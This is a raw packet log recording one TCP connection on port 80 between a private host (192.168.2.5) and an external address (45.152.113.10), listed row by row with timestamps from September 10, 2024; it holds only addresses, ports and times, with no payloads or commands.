Sep 10, 2024 19:36:08.440941095 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.441020966 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.441032887 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.441042900 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.441052914 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.441062927 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.441065073 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.441073895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.441082954 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.441085100 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.441096067 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.441106081 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.441111088 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.441118002 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.441140890 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.441147089 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.441159010 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.441188097 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.441236973 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.441255093 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.441266060 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.441276073 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.441284895 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.441287041 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.441307068 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.441332102 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.441484928 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.441495895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.441504955 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.441515923 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.441526890 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.441536903 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.441543102 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.441548109 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.441553116 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.441557884 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.441567898 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.441577911 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.441584110 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.441589117 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.441598892 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.441607952 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.441611052 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.441627026 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.441631079 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.441638947 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.441639900 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.441649914 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.441660881 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.441670895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.441677094 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.441694975 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.441721916 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.441795111 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.441807032 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.441817045 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.441828012 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.441837072 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.441839933 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.441849947 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.441859961 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.441870928 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.441878080 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.441880941 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.441891909 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.441907883 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.441910028 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.441922903 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.441932917 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.441939116 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.441951036 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.441977978 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.525988102 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.526005030 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.526015997 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.526027918 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.526038885 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.526041031 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.526050091 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.526056051 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.526062012 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.526074886 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.526083946 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.526087999 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.526096106 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.526106119 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.526106119 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.526117086 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.526125908 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.526139975 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.526148081 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.526154041 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.526159048 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.526170015 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.526171923 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.526181936 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.526191950 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.526196003 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.526201963 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.526216030 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.526222944 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.526226997 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.526242018 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.526257992 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.526259899 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.526268959 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.526278973 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.526288986 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.526299000 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.526303053 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.526309967 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.526320934 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.526345015 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.526367903 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.526377916 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.526391983 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.526398897 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.526401043 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.526407003 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.526437998 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.526449919 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.526568890 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.526580095 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.526590109 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.526601076 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.526609898 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.526612997 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.526623964 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.526634932 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.526640892 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.526647091 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.526658058 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.526667118 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.526670933 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.526678085 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.526679039 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.526690960 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.526702881 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.526704073 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.526712894 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.526717901 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.526726007 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.526736975 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.526746988 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.526748896 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.526768923 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.526787996 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.526959896 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.526971102 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.526983023 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.526993990 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.527004004 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.527004957 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.527015924 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.527023077 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.527028084 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.527046919 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.527048111 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.527057886 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.527069092 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.527072906 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.527091026 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.527110100 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.527133942 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.527152061 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.527162075 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.527173996 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.527173996 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.527194977 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.527195930 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.527205944 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.527215004 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.527220011 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.527230024 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.527240038 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.527242899 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.527255058 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.527278900 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.527321100 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.527331114 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.527342081 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.527359962 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.527399063 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.527405024 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.527416945 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.527427912 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.527445078 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.527467012 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.527519941 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.527530909 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.527542114 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.527551889 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.527559996 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.527563095 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.527579069 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.527584076 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.527590990 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.527601957 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.527606964 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.527625084 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.527642012 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.527673960 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.527684927 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.527694941 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.527713060 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.527720928 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.527724981 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.527735949 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.527740955 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.527746916 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.527757883 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.527765989 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.527769089 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.527779102 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.527787924 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.527791023 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.527801037 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.527810097 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.527810097 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.527828932 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.527842045 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.527864933 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.527877092 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.527887106 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.527898073 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.527909040 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.527926922 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.527946949 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.527978897 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.527991056 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.528000116 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.528012037 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.528021097 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.528022051 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.528033018 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.528038979 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.528043032 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.528055906 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.528064013 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.528078079 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.528096914 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.528131962 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.528143883 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.528172016 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.528182983 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.528219938 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.528232098 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.528243065 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.528254032 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.528255939 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.528264046 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.528274059 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.528275967 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.528285980 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.528291941 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.528317928 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.612427950 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.612446070 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.612463951 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.612474918 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.612485886 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.612498045 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.612498999 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.612509966 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.612613916 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.612668037 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.612668037 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.612715960 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.612807035 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.612818956 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.612828970 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.612839937 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.612849951 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.612854958 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.612860918 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.612871885 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.612883091 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.612885952 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.612895012 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.612905979 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.612906933 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.612912893 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.612916946 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.612930059 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.612950087 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.612976074 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.612993002 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.613003969 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.613013029 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.613023043 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.613034010 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.613040924 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.613044977 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.613054991 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.613063097 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.613070011 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.613080978 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.613085032 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.613090992 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.613100052 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.613102913 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.613112926 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.613123894 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.613133907 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.613135099 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.613146067 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.613156080 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.613161087 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.613168001 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.613179922 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.613198996 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.613208055 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.613290071 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.613301039 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.613312006 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.613322020 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.613332987 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.613338947 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.613343000 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.613356113 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.613365889 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.613369942 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.613377094 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.613388062 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.613388062 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.613398075 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.613409996 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.613411903 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.613421917 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.613430977 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.613440037 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:08.613444090 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:08.613460064 CEST	80	49707	45.152.113.10	192.168.2.5
